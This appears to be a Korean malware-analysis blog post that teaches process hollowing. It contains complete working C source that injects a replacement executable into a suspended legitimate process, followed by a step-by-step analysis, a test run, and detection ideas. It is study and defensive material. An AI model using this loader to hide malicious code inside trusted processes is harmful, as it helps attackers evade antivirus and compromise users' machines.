#Process Hollowing #Malware
- Process Hollowing 이란?
Process Hollowing 은 간략히 설명하면, 정상적인 타겟파일을 suspended 상태의 프로세스로 실행 시킨 다음, 해당 프로세스 안에 악성코드 데이터를 삽입시키고 suspend 상태를 해제함과 동시에 악성코드를 정상 프로세스로 둔갑시켜 실행시키는 방식이다.
CreateProcess
-> NtUnmapViewOfSection
-> VirtualAlloc
-> WriteProcessMemory
-> SetContextThread
-> ResumeThread
의 흐름으로 진행된다.
- 예제로 보는 Process Hollowing
- OS 환경
Windows 10(x86)
- 소스
#include <stdio.h>
#include <Windows.h>
#include <winternl.h>
#pragma comment(lib,"ntdll.lib")
EXTERN_C NTSTATUS NTAPI NtTerminateProcess(HANDLE, NTSTATUS);
EXTERN_C NTSTATUS NTAPI NtReadVirtualMemory(HANDLE, PVOID, PVOID, ULONG, PULONG);
EXTERN_C NTSTATUS NTAPI NtWriteVirtualMemory(HANDLE, PVOID, PVOID, ULONG, PULONG);
EXTERN_C NTSTATUS NTAPI NtGetContextThread(HANDLE, PCONTEXT);
EXTERN_C NTSTATUS NTAPI NtSetContextThread(HANDLE, PCONTEXT);
EXTERN_C NTSTATUS NTAPI NtUnmapViewOfSection(HANDLE, PVOID);
EXTERN_C NTSTATUS NTAPI NtResumeThread(HANDLE, PULONG);
int wmain(int argc, wchar_t* argv[])
{
PIMAGE_DOS_HEADER pDosH;
PIMAGE_NT_HEADERS pNtH;
PIMAGE_SECTION_HEADER pSecH;
PVOID image, mem, base;
DWORD i, read, nSizeOfFile;
HANDLE hFile;
STARTUPINFOW si;
PROCESS_INFORMATION pi;
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
memset(&si, 0, sizeof(si));
memset(&pi, 0, sizeof(pi));
if (argc != 3)
{
printf("\nUsage: [Target executable] [Replacement executable]\n");
return 1;
}
printf("\nRunning the target executable.\n");
if (!CreateProcessW(NULL, argv[1], NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) // Start the target application
{
printf("\nError: Unable to run the target executable. CreateProcess failed with error %d\n", GetLastError());
return 1;
}
printf("\nProcess created in suspended state.\n");
printf("\nOpening the replacement executable.\n");
hFile = CreateFileW(argv[2], GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); // Open the replacement executable
if (hFile == INVALID_HANDLE_VALUE)
{
printf("\nError: Unable to open the replacement executable. CreateFile failed with error %d\n", GetLastError());
NtTerminateProcess(pi.hProcess, 1); // We failed, terminate the child process.
return 1;
}
nSizeOfFile = GetFileSize(hFile, NULL); // Get the size of the replacement executable
image = VirtualAlloc(NULL, nSizeOfFile, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // Allocate memory for the executable file
if (!ReadFile(hFile, image, nSizeOfFile, &read, NULL)) // Read the executable file from disk
{
printf("\nError: Unable to read the replacement executable. ReadFile failed with error %d\n", GetLastError());
NtTerminateProcess(pi.hProcess, 1); // We failed, terminate the child process.
return 1;
}
NtClose(hFile); // Close the file handle
pDosH = (PIMAGE_DOS_HEADER)image;
if (pDosH->e_magic != IMAGE_DOS_SIGNATURE) // Check for valid executable
{
printf("\nError: Invalid executable format.\n");
NtTerminateProcess(pi.hProcess, 1); // We failed, terminate the child process.
return 1;
}
pNtH = (PIMAGE_NT_HEADERS)((LPBYTE)image + pDosH->e_lfanew); // Get the address of the IMAGE_NT_HEADERS
NtGetContextThread(pi.hThread, &ctx); // Get the thread context of the child process's primary thread
#ifdef _WIN64
NtReadVirtualMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T) * 2)), &base, sizeof(PVOID), NULL); // Get the PEB address from the ebx register and read the base address of the executable image from the PEB
#endif
#ifdef _X86_
NtReadVirtualMemory(pi.hProcess, (PVOID)(ctx.Ebx + 8), &base, sizeof(PVOID), NULL); // Get the PEB address from the ebx register and read the base address of the executable image from the PEB
#endif
if ((SIZE_T)base == pNtH->OptionalHeader.ImageBase) // If the original image has same base address as the replacement executable, unmap the original executable from the child process.
{
printf("\nUnmapping original executable image from child process. Address: %#zx\n", (SIZE_T)base);
NtUnmapViewOfSection(pi.hProcess, base); // Unmap the executable image using NtUnmapViewOfSection function
}
printf("\nAllocating memory in child process.\n");
mem = VirtualAllocEx(pi.hProcess, (PVOID)pNtH->OptionalHeader.ImageBase, pNtH->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Allocate memory for the executable image
if (!mem)
{
printf("\nError: Unable to allocate memory in child process. VirtualAllocEx failed with error %d\n", GetLastError());
NtTerminateProcess(pi.hProcess, 1); // We failed, terminate the child process.
return 1;
}
printf("\nMemory allocated. Address: %#zx\n", (SIZE_T)mem);
printf("\nWriting executable image into child process.\n");
NtWriteVirtualMemory(pi.hProcess, mem, image, pNtH->OptionalHeader.SizeOfHeaders, NULL); // Write the header of the replacement executable into child process
for (i = 0; i<pNtH->FileHeader.NumberOfSections; i++)
{
pSecH = (PIMAGE_SECTION_HEADER)((LPBYTE)image + pDosH->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER)));
NtWriteVirtualMemory(pi.hProcess, (PVOID)((LPBYTE)mem + pSecH->VirtualAddress), (PVOID)((LPBYTE)image + pSecH->PointerToRawData), pSecH->SizeOfRawData, NULL); // Write the remaining sections of the replacement executable into child process
}
#ifdef _WIN64
ctx.Rcx = (SIZE_T)((LPBYTE)mem + pNtH->OptionalHeader.AddressOfEntryPoint); // Set the eax register to the entry point of the injected image
printf("\nNew entry point: %#zx\n", ctx.Rcx);
NtWriteVirtualMemory(pi.hProcess, (PVOID)(ctx.Rdx + (sizeof(SIZE_T)*2)), &pNtH->OptionalHeader.ImageBase, sizeof(PVOID), NULL); // Write the base address of the injected image into the PEB
#endif
#ifdef _X86_
ctx.Eax = (SIZE_T)((LPBYTE)mem + pNtH->OptionalHeader.AddressOfEntryPoint); // Set the eax register to the entry point of the injected image
printf("\nNew entry point: %#zx\n", ctx.Eax);
NtWriteVirtualMemory(pi.hProcess, (PVOID)(ctx.Ebx + (sizeof(SIZE_T) * 2)), &pNtH->OptionalHeader.ImageBase, sizeof(PVOID), NULL); // Write the base address of the injected image into the PEB
#endif
printf("\nSetting the context of the child process's primary thread.\n");
NtSetContextThread(pi.hThread, &ctx); // Set the thread context of the child process's primary thread
printf("\nResuming child process's primary thread.\n");
NtResumeThread(pi.hThread, NULL); // Resume the primary thread
printf("\nThread resumed.\n");
printf("\nWaiting for child process to terminate.\n");
NtWaitForSingleObject(pi.hProcess, FALSE, NULL); // Wait for the child process to terminate
printf("\nProcess terminated.\n");
NtClose(pi.hThread); // Close the thread handle
NtClose(pi.hProcess); // Close the process handle
VirtualFree(image, 0, MEM_RELEASE); // Free the allocated memory
return 0;
}
- 소스 분석
1. _CONTEXT
플래그 초기화
우선 처음에 _CONTEXT
구조체의 ContextFlags 를 초기화 한다.
공식문서를 보면, ContextFlags 에 대한 설명이 그다지 없다.
Initialize_Context_msdn 에서 그 레퍼런스를 얕게나마 찾아볼 수 있는데, _CONTEXT
구조체의 어떤 부분을 초기화 할지 정하는 역할이라고 한다.
직접 소스에서 보면 _CONTEXT
의 레지스터 중, 어느 부분을 초기화 시킬지 정할 수 있다.
본 소스에서는 모든 레지스터의 초기화를 허용하는 듯 하다.
2. 멀쩡한 껍데기 프로세스 SUSPENDED 상태로 실행
target Executable 로 전달한 프로세스를 SUSPENDED 상태로 실행한다. numeric 표현으로 0x4 이다.
그리고 마지막의 &pi
는 PROCESS_INFORMATION
구조체로 만든 프로세스와 갖고있는 메인 스레드에 대한 정보가 담겨지게 된다.
3. 대체할 프로그램 파일 형식으로 열어두기
대체할 프로그램은 파일의 optional_header
부분을 이용하여 영역 바꿔치기를 시도하기 때문에 file handle 의 형태로 연다.
읽기 권한을 갖고있으며, OPEN_EXISTING
dwCreationDiposition 플래그를 통해 파일이 존재할 때만 열게 된다.
그리고 해당 파일 사이즈만큼의 가상공간을 만들어 두고, 파일을 읽어온다.
4. 'MZ' 시그니처 체크 및 NtHeader 포인터 Get
DOS_HEADER 의 e_lfanew
값을 통해 NT_HEADER 로 뛸 수 있다.
마지막의 NtGetContextThread
함수는 pi
구조체의 스레드 부분에서 현재 레지스터 상태를 _CONTEXT
구조체에 초기화 시키는 함수이다.
실행 후의 모습은 이렇다. 모든 레지스터가 특정 값으로 초기화 된 것을 알 수 있다.
5. 타겟 프로세스의 Image Base 얻어오기 및 해당 주소영역 비우기
그 다음은 껍데기 역할을 하는 타겟 프로세스의 PEB(Process Enviornment Block) 으로 부터 ImageBase 주소를 얻어온다.
해당 동작을 하기위해 _CONTEXT
구조체가 존재하는 것이다. PEB 는 구조체의 ebx 에 저장되어있는데, 여기서 8 bytes 떨어진 곳에 ImageBase 주소가 보관되어있다.
참고로 x64 비트 에서는 Rdx 로 부터 16바이트 뒤에 존재한다
디버깅을 해보면 0x400000 으로 잘 들어온 것을 볼 수 있다.
그리고 타겟파일과 숙주파일의 ImageBase가 같다면, 타겟 파일 프로세스의 해당 주소의 영역을 NtUnmapViewOfSection
함수로 unmap 시켜둔다. 해당 공간은 숙주파일이 자리잡을 공간이 된다.
6. unmap 된 주소영역에 새로 가상공간 할당하기
VirtualAllocEx
함수가 사용되었는데 SUSPENDED 로 실행한 프로세스의 ImageBase 부분에다가 숙주파일의 SizeOfImage
만큼의 가상영역을 할당한다. 만약 해당 주소부분이 mapping 상태라면 해당 영역 매핑에 실패한다.
참고로 SizeOfImage 는 각 IMAGE_SECTION 마다 RVA 값과 OPTIONAL_HEADER 의 Section Alignment 값을 연관지어 보면 크기가 맞다는 것을 알 수 있다.
7. 할당 된 가상영역에 데이터 쓰기
이제 긴 영역할당 과정을 거쳤으니 할당을 해야한다. 별다른 것은 없고, OPTIONAL_HEADER
쓴 다음에 섹션 갯수만큼 모든 섹션을 다 쓴다.
고로 이제서야 껍데기 프로세스의 ImageBase 부터 숙주 파일의 데이터로 다 덮어 씌워진 것이다.
8. CONTEXT
구조체 재정의 및 SUSPENDED 상태 해제
마지막 파트이다. 이제 파일 내용 헥스 값을 다 대체하였으니, 처음에 get 해온 프로세스의 메인 스레드에 대한 레지스터 정보를 수정해줄 필요가 있다. (PEB 를 수정한다고 말할 수 있겠다)
바꿔줄 것은 EntryPoint 오프셋 정보와 ImageBase 정보이다. ImageBase 의 경우는 같았겠지만, EntryPoint 는 많이 달라서 무조건 바꿔주어야 한다.
구조체에서는 ctx.Eax
에 있는 것이 해당 엔트리 포인트 값이다.
아래는 변경 전후의 차이이다.
그리고 ResumeThread
함수로 SUSPENDED 상태의 스레드를 continue 시킨다.
테스트
HxD 를 PEview 를 껍데기로 한 상태로 실행해보았다.
이렇게 PEview.exe 의 프로세스가 실행된 것을 알 수 있다.
또한 위처럼 Image 안의 문자열들과 실제 Memory 에 올라간 string 도 다르다는 것을 알 수 있다.
그리고 실제로 HxD.exe 의 창이 실행되게 된다.
악용사례 및 대응법
본 소스코드는 직접 타겟 파일과 소스 파일을 설정해주었지만, 실제 악성코드에서는 실제 악성코드를 리소스 형태로 숨긴채 본인을 타겟파일로 지정하는 self hollowing 형식이 많이 이용된다고 한다.
대응법은 백신 상에서 해당 API 흐름을 동적으로 감지하거나, 리소스 데이터를 감지하고 아까 보았듯이 Image 문자열과 Memory 문자열의 비교 등을 이용해볼 수 있을 것이다.
'<악성코드 분석공부> > <여분지>' 카테고리의 다른 글
Remote Template Injection 공격기법 (0) | 2022.01.18 |
---|---|
Cyberchef online - 데이터 변환, 디코딩/인코딩 (0) | 2022.01.07 |
Didier Stevens Workshop : 악성문서파일 분석 도구 콜렉션 (0) | 2021.12.15 |
ProcMon "Unable to load Process Monitor device driver" 에러 (0) | 2021.08.18 |
VMware Windows 에서 RDP 환경 구축하기 (0) | 2021.08.09 |